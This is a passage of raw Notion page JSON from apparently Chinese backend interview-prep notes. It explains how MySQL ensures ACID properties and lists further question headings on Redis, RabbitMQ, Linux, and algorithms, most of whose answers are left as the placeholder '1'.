记录了事务的反向操作,用于在事务失败时回滚。"]]},"created_time":1716607189176,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"f373e358-4424-4907-987f-619f1c821abd":{"value":{"id":"f373e358-4424-4907-987f-619f1c821abd","type":"text","properties":{"title":[["当一个事务开始时,MySQL 会记录开始点,并在事务提交前将所有操作记录到日志中。如果事务失败,则 MySQL 使用 undo log 回滚所有更改。"]]},"created_time":1716607189176,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"f6288c8d-c1db-47f2-ab22-95aa7fa9f68a":{"value":{"id":"f6288c8d-c1db-47f2-ab22-95aa7fa9f68a","type":"text","properties":{"title":[["\n一致性确保事务将数据库从一个一致状态转换到另一个一致状态。事务开始前和结束后,数据库的所有规则(如约束、触发器等)必须保持有效。"]]},"created_time":1716607189176,"last_edited_time":1716607232162,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"6ea8eec3-f876-4311-8c7b-302fdc304afb":{"value":{"id":"6ea8eec3-f876-4311-8c7b-302fdc304afb","type":"text","properties":{"title":[["如何保证:",[["b"]]],["\nMySQL 通过以下方式保证一致性:"]]},"created_time":1716607189176,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"57aec622-b358-456d-ac86-bc7fd566f301":{"value":{"id":"57aec622-b358-456d-ac86-bc7fd566f301","type":"bulleted_list","properties":{"title":[["数据库约束(如主键、外键、唯一性约束等)。"]]},"created_time":1716607189176,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"fe093dd8-c0f0-471e-8d3b-4cabfdbc0ac3":{"value":{"id":"fe093dd8-c0f0-471e-8d3b-4cabfdbc0ac3","type":"bulleted_list","properties":{"title":[["触发器和存储过程在事务中进行检查。"]]},"created_time":1716607189177,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"1e72eae5-f903-46f0-8d4b-71a994af42a1":{"value":{"id":"1e72eae5-f903-46f0-8d4b-71a994af42a1","type":"bulleted_list","properties":{"title":[["使用 ACID 其他三个属性(原子性、隔离性、持久性)来共同维护一致性。"]]},"created_time":1716607189177,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"78ac071e-eef1-477f-9039-6c8de75d8eca":{"value":{"id":"78ac071e-eef1-477f-9039-6c8de75d8eca","type":"text","created_time":1716607239681,"last_edited_time":1716607239681,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"d369aa72-76cc-489a-9e90-83e8c376e73a":{"value":{"id":"d369aa72-76cc-489a-9e90-83e8c376e73a","type":"text","properties":{"title":[["隔离性确保多个事务并发执行时,不会互相干扰。隔离级别决定了一个事务对其他事务的可见程度。"]]},"created_time":1716607189177,"last_edited_time":1716607239074,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"6c954f91-a3f5-4742-9db6-f1cb984fe001":{"value":{"id":"6c954f91-a3f5-4742-9db6-f1cb984fe001","type":"text","properties":{"title":[["如何保证:",[["b"]]],["\nMySQL 提供了四种隔离级别,以平衡性能和并发性:"]]},"created_time":1716607189177,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"93dcb6cc-d6b5-4e8e-8255-ad6f13945bc5":{"value":{"id":"93dcb6cc-d6b5-4e8e-8255-ad6f13945bc5","type":"bulleted_list","properties":{"title":[["Read Uncommitted",[["b"]]],[":事务可以读取未提交的数据(脏读)。"]]},"created_time":1716607189177,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"baae4d64-547e-4b39-802f-b3f8901f7363":{"value":{"id":"baae4d64-547e-4b39-802f-b3f8901f7363","type":"bulleted_list","properties":{"title":[["Read Committed",[["b"]]],[":事务只能读取已提交的数据(避免脏读)。"]]},"created_time":1716607189178,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"6603daf9-9662-40ad-a756-19c26d99f37e":{"value":{"id":"6603daf9-9662-40ad-a756-19c26d99f37e","type":"bulleted_list","properties":{"title":[["Repeatable Read",[["b"]]],[":事务在开始时看到的数据在整个事务中保持一致(避免不可重复读,InnoDB 默认隔离级别)。"]]},"created_time":1716607189178,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"3fe06c05-bbff-4521-8231-6046879ba05f":{"value":{"id":"3fe06c05-bbff-4521-8231-6046879ba05f","type":"bulleted_list","properties":{"title":[["Serializable",[["b"]]],[":最高隔离级别,事务完全串行化执行(避免幻读)。"]]},"created_time":1716607189178,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"61f4c2f7-a13f-49c9-939d-3f8ccde8be0b":{"value":{"id":"61f4c2f7-a13f-49c9-939d-3f8ccde8be0b","type":"text","properties":{"title":[["InnoDB 存储引擎通过多版本并发控制(MVCC)和行锁来实现这些隔离级别。"]]},"created_time":1716607189178,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"aa29084b-0d10-4202-8f81-cbae61b20e74":{"value":{"id":"aa29084b-0d10-4202-8f81-cbae61b20e74","type":"text","properties":{"title":[["\n持久性确保事务一旦提交,其结果是永久性的,即使发生系统崩溃或电源故障,数据也不会丢失。"]]},"created_time":1716607189178,"last_edited_time":1716607253352,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"1c1d8899-02bc-4169-9849-acf2dfa3d5af":{"value":{"id":"1c1d8899-02bc-4169-9849-acf2dfa3d5af","type":"text","properties":{"title":[["如何保证:",[["b"]]],["\nMySQL 通过以下方式实现持久性:"]]},"created_time":1716607189178,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"200b8779-472a-4d99-8f91-9debeffe4f3c":{"value":{"id":"200b8779-472a-4d99-8f91-9debeffe4f3c","type":"bulleted_list","properties":{"title":[["使用 redo log 来记录事务的变化。这些日志在事务提交时同步到磁盘。"]]},"created_time":1716607189178,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"aef81800-d546-4dbe-806a-a8d2244e2d89":{"value":{"id":"aef81800-d546-4dbe-806a-a8d2244e2d89","type":"bulleted_list","properties":{"title":[["InnoDB 的 doublewrite buffer 技术确保数据页写入磁盘时的一致性。"]]},"created_time":1716607189178,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"0a3ca706-64de-46fe-a984-24920883d52b":{"value":{"id":"0a3ca706-64de-46fe-a984-24920883d52b","type":"bulleted_list","properties":{"title":[["定时将内存中的数据页刷新到磁盘(通过 checkpoint 机制)。"]]},"created_time":1716607189179,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"32c4d6a4-85a8-474a-8d5b-38e89127d070":{"value":{"id":"32c4d6a4-85a8-474a-8d5b-38e89127d070","type":"text","properties":{"title":[["总结起来,MySQL 通过事务日志、数据库约束、多版本并发控制、行锁以及定期的数据刷新等技术手段来实现 ACID 属性,以确保数据的可靠性和一致性。"]]},"created_time":1716607189179,"last_edited_time":1716607189191,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"af906d72-2170-456b-82ad-fbb25ccb2262":{"value":{"id":"af906d72-2170-456b-82ad-fbb25ccb2262","type":"divider","format":{"copied_from_pointer":{"id":"3099fe24-e697-4ca7-a0a6-99e988cda663","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716605268536,"last_edited_time":1716605268542,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"3099fe24-e697-4ca7-a0a6-99e988cda663"}},"a9a79de1-1d8c-4cf2-9515-a380e0cb9dd0":{"value":{"id":"a9a79de1-1d8c-4cf2-9515-a380e0cb9dd0","type":"text","format":{"copied_from_pointer":{"id":"5d1b6181-9e24-4185-8678-1a9fc90d7f06","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716607266619,"last_edited_time":1716607266619,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"dc5c2944-a57d-4e0e-b628-1ac6178a71e8":{"value":{"id":"dc5c2944-a57d-4e0e-b628-1ac6178a71e8","type":"sub_header","properties":{"title":[["3.Redis的几个基本数据类型,底层实现"]]},"format":{"copied_from_pointer":{"id":"5d1b6181-9e24-4185-8678-1a9fc90d7f06","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973496,"last_edited_time":1716604093305,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"5d1b6181-9e24-4185-8678-1a9fc90d7f06"}},"00f67ff9-b403-4852-b74c-93a0db21b10b":{"value":{"id":"00f67ff9-b403-4852-b74c-93a0db21b10b","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"91113c35-e5aa-4118-a2f2-79956111daf2","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973497,"last_edited_time":1716603973497,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"91113c35-e5aa-4118-a2f2-79956111daf2"}},"0f498836-0e73-4d14-b0d9-797d1886a7e4":{"value":{"id":"0f498836-0e73-4d14-b0d9-797d1886a7e4","type":"quote","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"756c6b97-cc5b-4b39-b7fc-156d963671e0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973496,"last_edited_time":1716604098235,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"756c6b97-cc5b-4b39-b7fc-156d963671e0"}},"97ec15d1-22ee-411c-beec-5c0aaed39784":{"value":{"id":"97ec15d1-22ee-411c-beec-5c0aaed39784","type":"text","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"f1c0876a-bf7e-4931-9352-29d90e44bf1d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973499,"last_edited_time":1716604099311,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"f1c0876a-bf7e-4931-9352-29d90e44bf1d"}},"3099fe24-e697-4ca7-a0a6-99e988cda663":{"value":{"id":"3099fe24-e697-4ca7-a0a6-99e988cda663","type":"divider","format":{"copied_from_pointer":{"id":"57b51dc1-c537-43c7-9199-0286ea98b7cc","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973495,"last_edited_time":1716603973495,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"57b51dc1-c537-43c7-9199-0286ea98b7cc"}},"3e9e9544-a986-4a69-bcd7-c6ee6d29688c":{"value":{"id":"3e9e9544-a986-4a69-bcd7-c6ee6d29688c","type":"sub_header","properties":{"title":[["4.RabbitMQ工作的几种不同模式,数据如何保证顺序性跟不丢失,如何避免数据重复消费"]]},"format":{"copied_from_pointer":{"id":"0c6e7389-0964-4cc4-9e8a-2e7ef3650550","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973494,"last_edited_time":1716604351797,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"0c6e7389-0964-4cc4-9e8a-2e7ef3650550"}},"e4597ff7-4c66-4cac-84ec-f5eebc64f3f8":{"value":{"id":"e4597ff7-4c66-4cac-84ec-f5eebc64f3f8","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"00f67ff9-b403-4852-b74c-93a0db21b10b","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604103662,"last_edited_time":1716604103666,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"00f67ff9-b403-4852-b74c-93a0db21b10b"}},"a3664217-ba36-4078-93c1-4c0323823275":{"value":{"id":"a3664217-ba36-4078-93c1-4c0323823275","type":"quote","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"0f498836-0e73-4d14-b0d9-797d1886a7e4","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604103662,"last_edited_time":1716604103666,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"0f498836-0e73-4d14-b0d9-797d1886a7e4"}},"72fb537d-84eb-4bda-979d-885063e7d719":{"value":{"id":"72fb537d-84eb-4bda-979d-885063e7d719","type":"text","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"97ec15d1-22ee-411c-beec-5c0aaed39784","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604103663,"last_edited_time":1716604106659,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"97ec15d1-22ee-411c-beec-5c0aaed39784"}},"cf3f6f0a-6362-446f-855e-80d6bcccb15e":{"value":{"id":"cf3f6f0a-6362-446f-855e-80d6bcccb15e","type":"sub_header","properties":{"title":[["5.Linux 常见指令(说点高级指令比如tmux,awk,别扯 ls、cd)"]]},"created_time":1716604107358,"last_edited_time":1716604354319,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"1193e2b2-d47b-42cd-b19d-c792dfaece8f":{"value":{"id":"1193e2b2-d47b-42cd-b19d-c792dfaece8f","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"00f67ff9-b403-4852-b74c-93a0db21b10b","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604107562,"last_edited_time":1716604107565,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"00f67ff9-b403-4852-b74c-93a0db21b10b"}},"f9fd0d0b-2e2f-4053-92b3-254dc53a8e5c":{"value":{"id":"f9fd0d0b-2e2f-4053-92b3-254dc53a8e5c","type":"quote","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"0f498836-0e73-4d14-b0d9-797d1886a7e4","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604107562,"last_edited_time":1716604107565,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"0f498836-0e73-4d14-b0d9-797d1886a7e4"}},"8cce3f86-e8cf-49f6-94e3-1e0fa084a0cf":{"value":{"id":"8cce3f86-e8cf-49f6-94e3-1e0fa084a0cf","type":"text","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"97ec15d1-22ee-411c-beec-5c0aaed39784","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604107563,"last_edited_time":1716604107565,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"97ec15d1-22ee-411c-beec-5c0aaed39784"}},"f367d5b0-1483-49fa-9d17-5dd29ada3f2f":{"value":{"id":"f367d5b0-1483-49fa-9d17-5dd29ada3f2f","type":"sub_header","properties":{"title":[["6.MySQL为什么不建议用Text"]]},"format":{"copied_from_pointer":{"id":"70dc2387-d34b-4685-9015-b6c7b3da403e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603973496,"last_edited_time":1716604356683,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"70dc2387-d34b-4685-9015-b6c7b3da403e"}},"b6ff2966-9cfd-4693-8e65-860bbf12a136":{"value":{"id":"b6ff2966-9cfd-4693-8e65-860bbf12a136","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"1193e2b2-d47b-42cd-b19d-c792dfaece8f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604128422,"last_edited_time":1716604128424,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"1193e2b2-d47b-42cd-b19d-c792dfaece8f"}},"93b03a83-f395-4b0f-b9ca-05c6dd40af3d":{"value":{"id":"93b03a83-f395-4b0f-b9ca-05c6dd40af3d","type":"quote","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"f9fd0d0b-2e2f-4053-92b3-254dc53a8e5c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604128423,"last_edited_time":1716604128424,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"f9fd0d0b-2e2f-4053-92b3-254dc53a8e5c"}},"a31c7006-5c82-4c7b-88be-6ce96b2596fd":{"value":{"id":"a31c7006-5c82-4c7b-88be-6ce96b2596fd","type":"text","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"8cce3f86-e8cf-49f6-94e3-1e0fa084a0cf","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604128423,"last_edited_time":1716604128424,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"8cce3f86-e8cf-49f6-94e3-1e0fa084a0cf"}},"29680c71-f649-45ad-9e6b-6244591f608f":{"value":{"id":"29680c71-f649-45ad-9e6b-6244591f608f","type":"text","created_time":1716604143046,"last_edited_time":1716604143046,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"1b21f26b-f04f-4080-a4da-9f30b58ba1e5":{"value":{"id":"1b21f26b-f04f-4080-a4da-9f30b58ba1e5","type":"text","created_time":1716604143158,"last_edited_time":1716604143158,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"82c3bd0d-18d0-4867-83b4-8b7914d7500c":{"value":{"id":"82c3bd0d-18d0-4867-83b4-8b7914d7500c","type":"sub_header","properties":{"title":[["7.MySQL limit 10W,10 这样的优化,覆盖索引的使用"]]},"created_time":1716604143262,"last_edited_time":1716604358828,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"35c23c19-f32e-478d-88d2-cb4c3d338127":{"value":{"id":"35c23c19-f32e-478d-88d2-cb4c3d338127","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"b6ff2966-9cfd-4693-8e65-860bbf12a136","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604144315,"last_edited_time":1716604144317,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"b6ff2966-9cfd-4693-8e65-860bbf12a136"}},"b1670b78-5c8e-4100-a81d-4fbd8ee09da8":{"value":{"id":"b1670b78-5c8e-4100-a81d-4fbd8ee09da8","type":"quote","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"93b03a83-f395-4b0f-b9ca-05c6dd40af3d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604144315,"last_edited_time":1716604144317,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"93b03a83-f395-4b0f-b9ca-05c6dd40af3d"}},"59424927-0197-4f51-a168-1f9a393bd4d1":{"value":{"id":"59424927-0197-4f51-a168-1f9a393bd4d1","type":"text","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"a31c7006-5c82-4c7b-88be-6ce96b2596fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604144315,"last_edited_time":1716604144317,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"a31c7006-5c82-4c7b-88be-6ce96b2596fd"}},"ed538c2f-2ce9-42cc-b442-c449f21674e5":{"value":{"id":"ed538c2f-2ce9-42cc-b442-c449f21674e5","type":"text","created_time":1716604192046,"last_edited_time":1716604192046,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"c118f7ca-de93-426e-a6ac-7e0f2b2f7b9a":{"value":{"id":"c118f7ca-de93-426e-a6ac-7e0f2b2f7b9a","type":"text","created_time":1716604192197,"last_edited_time":1716604192197,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"5182731e-7258-4b1d-a095-b12ae7c68298":{"value":{"id":"5182731e-7258-4b1d-a095-b12ae7c68298","type":"sub_header","properties":{"title":[["8.Linux CPU满负荷如何排查"]]},"created_time":1716604142934,"last_edited_time":1716604363047,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"73eb30c2-8c43-4546-9d71-838a79c1930d":{"value":{"id":"73eb30c2-8c43-4546-9d71-838a79c1930d","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"35c23c19-f32e-478d-88d2-cb4c3d338127","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604192392,"last_edited_time":1716604192394,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"35c23c19-f32e-478d-88d2-cb4c3d338127"}},"3e9f36b9-8fa2-4e32-ba79-e04df467541c":{"value":{"id":"3e9f36b9-8fa2-4e32-ba79-e04df467541c","type":"quote","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"b1670b78-5c8e-4100-a81d-4fbd8ee09da8","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604192392,"last_edited_time":1716604192394,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"b1670b78-5c8e-4100-a81d-4fbd8ee09da8"}},"1de78d6d-76f9-46b9-80b5-b1219e5f079c":{"value":{"id":"1de78d6d-76f9-46b9-80b5-b1219e5f079c","type":"text","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"59424927-0197-4f51-a168-1f9a393bd4d1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604192393,"last_edited_time":1716604192394,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"59424927-0197-4f51-a168-1f9a393bd4d1"}},"8ba2270d-44a5-4bfb-bac5-a54043fba0a1":{"value":{"id":"8ba2270d-44a5-4bfb-bac5-a54043fba0a1","type":"text","created_time":1716604201962,"last_edited_time":1716604201962,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"dc4b1cb9-4507-4bff-a6a1-d9e405d0284e":{"value":{"id":"dc4b1cb9-4507-4bff-a6a1-d9e405d0284e","type":"text","created_time":1716604202074,"last_edited_time":1716604202074,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"7786c18c-e2e8-4fc4-b1ff-87ca8c853e32":{"value":{"id":"7786c18c-e2e8-4fc4-b1ff-87ca8c853e32","type":"sub_header","properties":{"title":[["9.链表是否有环, 如何找到交点,计算出环的大小"]]},"created_time":1716604201860,"last_edited_time":1716604365684,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"e7177545-5062-43ce-aaa5-81e057f7d8d7":{"value":{"id":"e7177545-5062-43ce-aaa5-81e057f7d8d7","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"73eb30c2-8c43-4546-9d71-838a79c1930d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604202264,"last_edited_time":1716604202267,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"73eb30c2-8c43-4546-9d71-838a79c1930d"}},"7101587e-4040-4c76-a20b-9a6939f20c4c":{"value":{"id":"7101587e-4040-4c76-a20b-9a6939f20c4c","type":"quote","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"3e9f36b9-8fa2-4e32-ba79-e04df467541c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604202264,"last_edited_time":1716604202267,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"3e9f36b9-8fa2-4e32-ba79-e04df467541c"}},"de577fa8-dd94-46d7-9cda-374c2aeddbc4":{"value":{"id":"de577fa8-dd94-46d7-9cda-374c2aeddbc4","type":"text","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"1de78d6d-76f9-46b9-80b5-b1219e5f079c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604202264,"last_edited_time":1716604202267,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"1de78d6d-76f9-46b9-80b5-b1219e5f079c"}},"11b73359-b85d-4d6a-998e-b0e73304d8ed":{"value":{"id":"11b73359-b85d-4d6a-998e-b0e73304d8ed","type":"text","created_time":1716604214991,"last_edited_time":1716604214991,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"0d9008b7-5925-4eed-a2a1-ec1439d430d6":{"value":{"id":"0d9008b7-5925-4eed-a2a1-ec1439d430d6","type":"sub_header","properties":{"title":[["10.一个字符串中的最长无重复子串"]]},"created_time":1716604214862,"last_edited_time":1716604368485,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"04382531-9e28-4fa3-8b17-cee9c14a6346":{"value":{"id":"04382531-9e28-4fa3-8b17-cee9c14a6346","type":"sub_sub_header","properties":{"title":[["GPT问答"]]},"format":{"copied_from_pointer":{"id":"e7177545-5062-43ce-aaa5-81e057f7d8d7","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604215283,"last_edited_time":1716604215286,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"e7177545-5062-43ce-aaa5-81e057f7d8d7"}},"6e5e4d5d-edc6-4a50-8c46-d7d0bc7b949e":{"value":{"id":"6e5e4d5d-edc6-4a50-8c46-d7d0bc7b949e","type":"quote","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"7101587e-4040-4c76-a20b-9a6939f20c4c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604215283,"last_edited_time":1716604215286,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"7101587e-4040-4c76-a20b-9a6939f20c4c"}},"2cbac960-6320-4993-843c-45ffac9bd976":{"value":{"id":"2cbac960-6320-4993-843c-45ffac9bd976","type":"text","properties":{"title":[["1"]]},"format":{"copied_from_pointer":{"id":"de577fa8-dd94-46d7-9cda-374c2aeddbc4","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716604215283,"last_edited_time":1716604215286,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true,"copied_from":"de577fa8-dd94-46d7-9cda-374c2aeddbc4"}},"559dd556-97cc-487d-8cae-3c98c2d50c73":{"value":{"id":"559dd556-97cc-487d-8cae-3c98c2d50c73","type":"text","created_time":1716604231914,"last_edited_time":1716604231914,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"74c235cb-ae47-4fa4-8efa-c53839e94742":{"value":{"id":"74c235cb-ae47-4fa4-8efa-c53839e94742","type":"text","created_time":1716604231737,"last_edited_time":1716604231737,"parent_id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","parent_table":"block","alive":true}},"61b50557-c1cc-4f50-893f-0f33bb349768":{"value":{"id":"61b50557-c1cc-4f50-893f-0f33bb349768","type":"sub_header","properties":{"title":[["11.一个帖子来回回复如何存储,如何设计"]]},"format":{"copied_from_pointer":{"id":"0d9008b7-5925-4eed-a2a1-ec1439d430d6","table":"block","spaceId":"e